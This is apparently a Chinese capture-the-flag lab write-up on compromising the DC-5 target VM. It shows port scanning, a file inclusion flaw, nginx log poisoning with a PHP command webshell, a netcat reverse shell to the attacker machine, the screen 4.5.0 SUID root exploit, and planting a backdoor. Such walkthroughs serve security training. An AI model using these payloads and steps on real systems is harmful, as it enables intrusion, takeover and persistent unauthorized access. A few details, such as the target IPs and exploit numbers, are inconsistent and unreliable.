世间一切皆可努力
感谢浏览
目录
1.查看kali的网卡、IP等信息;(网卡名:eth0,IP地址:192.168.97.129)
3.探测特定网络的主机存活状态;(netdiscover,arp-scan、nmap)
2.在扫描的同时,访问主页、robots.txt、指纹识别;
5.测试http://192.168.97.156/contact;
6.结合BP,**thankyou.php页面,验证是否是文件包含;
(四)渗透测试——利用nginx的日志和文件包含漏洞,Getshell
1.向/var/log/access/nginx/log内写入系统cmd和phpinfo()函数;
2.利用文件包含,读取日志,验证是否写入cmd和phpinfo();
3.利用文件包含,执行刚刚上传的php代码,从而调用cmd执行系统命令,反弹shell;
(五)渗透测试——致命连问,进一步信息收集,从而获取root权限
3.nginx的日志/var/log/nginx/access.log自动记录正确的GET请求,从此处写入恶意代码;
4.screen 4.5.0存在着提权漏洞41154.sh(需要修改,提前编译,以及:set ff=unix);
一、实验环境
- 靶机:DC-5,IP地址:192.168.97.156
- 测试机:Kali,IP地址:192.168.97.129
- 测试机:物理机Win10
- 连接方式:NAT
二、实验流程
- 信息收集——主机探测阶段
- 信息收集——端口(服务)扫描阶段
- 渗透测试——80端口(发现文件包含,**页面footer.php,**传参变量file)
- 渗透测试——Getshell(向日志内写入<?php system($_GET['cmd']);?>)
- 渗透测试——本地提权(screen 4.5.0的漏洞)
- 清楚痕迹,留下后门
三、实验步骤
(一)信息收集——主机发现阶段
1.查看kali的网卡、IP等信息;(网卡名:eth0,IP地址:192.168.97.129)
- ifconfig -a
-a 显示详细信息
2.查看靶机页面;
3.探测特定网络的主机存活状态;(netdiscover,arp-scan、nmap)
- netdiscover -i eth0 -r 192.168.97.0/24
-i 指定出口网卡
-r 指定待扫描网段
- arp-scan -l
--localnet or -l 指定扫描本地网络
- nmap -sP 192.168.97.0/24
-sP ping扫描且不扫描端口
4.分析所得:
- 靶机:192.168.97.156
- 测试机kali:192.168.97.129
(二)信息收集——端口(服务)扫描阶段
1.扫描靶机的端口、服务、running_OS等信息;
- nmap -p- -sV -O -A 192.168.97.156
-p- 扫描全端口
-sV 扫描端口的服务信息
-O/A 扫描靶机的运行的操作系统信息
2.分析所得:
- 共扫描65535个端口,有三个端口打开;
- 80端口处于open状态,对应开启了http服务,使用中间件是nginx;
- 111端口处于open状态,对应开启了rpcbind服务;
- 57077端口处于open状态,对应RPC;
- 靶机的推测其内核版本是3.2-4.9之间
(三)渗透测试——80端口(http服务)
1.枚举靶机网站的目录和页面等;
- dirb http://192.168.97.156 /usr/share/dirb/wordlists/big.txt
如下图所示,就只有两个目录:css、images
- 御剑扫描,http://192.168.97.156
2.在扫描的同时,访问主页、robots.txt、指纹识别;
- http://192.168.97.156
- http://192.168.97.156/robotx.txt
- whatweb http://192.168.97.156
3.逐个访问扫描结果;
- http://192.168.97.156/css
- http://192.168.97.156/images
4.分析所得:
- 只有一个主页的contact栏目处可以留言;
5.测试http://192.168.97.156/contact;
- 第一次尝试:<script>alert(123)</script>
- 第二次尝试:'or'1'#
- 分析上面的结果,发现Copyright后面的年份可以变化,猜测有文件包含漏洞
6.结合BP,**thankyou.php页面,验证是否是文件包含;
- 浏览器开启代理
- 打开BP
- 浏览器再次访问
- BP拦截,送入Intruder,配置Positions模块和Payloads模块,点击Start Attack开始**
- 分析**结果
如下图所示,**出了about-us、solutions、footer页面(因为about-us和solutions页面主页上有明显标出,又因为copyright在页脚的位置,footer.php也是页脚页面的意思,那么我猜测可能就是footer页面有文件包含)
7.访问http://192.168.97.156/footer.php;
- 关闭浏览器的代理
- http://192.168.97.156/footer.php
如下图所示,f15刷新,即可出现不同的页面
8.既然有文件包含,我们需要**传参参数(结合BP);
- 开启浏览器代理
- 启动BP
- 浏览器访问:http://192.168.97.156/thankyou.php
- f15刷新页面,发送请求
- BP拦截,送入Intruder页面,修改Positions模块和Payload模块,点击Start Attack开始**传参参数
- **结果如下,传参的变量是file
9.分析所得:
- 存在文件包含漏洞:http://192.168.97.156/thankyou.php?file=/etc/passwd
- nginx的日志默认目录是/var/log/nginx/access.log(该日志自动存储正确的GET请求,我们可以通过构造GET请求向日志文件内写入cmd,再利用文件包含执行命令反弹shell)
(四)渗透测试——利用nginx的日志和文件包含漏洞,Getshell
1.向/var/log/access/nginx/log内写入系统cmd和phpinfo()函数;
- 结合BP,修改GET请求为:GET <?php system($_GET['cmd']);phpinfo();?> HTTP/1.1
如下图所示,放通即可向日志内写入cmd和phpinfo()函数
2.利用文件包含,读取日志,验证是否写入cmd和phpinfo();
- http://192.168.97.153/thankyou.php?file=/var/log/nginx/access.log
如下图所示,phpinfo()函数起到了作用,所以写入成功
3.利用文件包含,执行刚刚上传的php代码,从而调用cmd执行系统命令,反弹shell;
- kali,打开侦听:nc -nvlp 8443
- 浏览器请求:http://192.168.97.156/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -nv 192.168.97.129 8443 -c bash
- kali端,成功反弹shell
4.转换为交互式shell;
- python -c 'import pty;pty.spawn("/bin/bash")'
(五)渗透测试——致命连问,进一步信息收集,从而获取root权限
1.略过致命连问;
2.suid提权;
- find / -perm -u=s 2>/dev/null
如下图所示,发现了可以命令:/bin/screen-4.5.0
- 进入kali,搜索相关的漏洞:searchsploit screen 4.5.0
如下图所示,51154.sh
- searchsploit 41154.sh -m
如下图所示,把该Exp复制到当前目录;但是这个脚本直接执行是出错的,我们需要完成以下几个工作
- 把41154.sh EXP内容:上面的c语言,剪切另存,保存为/tmp/libhax.c 提前编译:gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
- 把下面的c语言,剪切另存,保存为/tmp/rootshell.c 提前编译:gcc -o /tmp/rootshell /tmp/rootshell.c
- 把剩下的内容,vi打开,进入末行模式输入 :set ff=unix
- 保存后,重命名为mv 41154.sh dc5.sh
- 逐个把三个文件传输到靶机
nc -lp 1234 < libhax.so
nc -lp 1234 < rootshell
nc -lp 1234 < dc5.sh
- 逐个接收:
cd /tmp
nc -nv 192.168.97.129 1234 > libhax.so
nc -nv 192.168.97.129 1234 > rootshell
nc -nv 192.168.97.129 1234 > dc5.sh
- 给dc5.sh赋予执行权限:chmod u+x dc5.sh
- ./dc5.sh 执行脚本,即可提升权限
3.进入root家目录,获取flag;
- cd /root
- ls
- cat thisistheflag.txt
(六)清楚痕迹,留下后门
1.向/var/www/html目录下传输1.php;
2.尝试菜刀连接,读取目录结构,右键开启终端;
四、总结
1.注意页脚的变化,发现文件包含;
2.结合BP,可以**传参变量;
3.nginx的日志/var/log/nginx/access.log自动记录正确的GET请求,从此处写入恶意代码;
4.screen 4.5.0存在着提权漏洞41154.sh(需要修改,提前编译,以及:set ff=unix);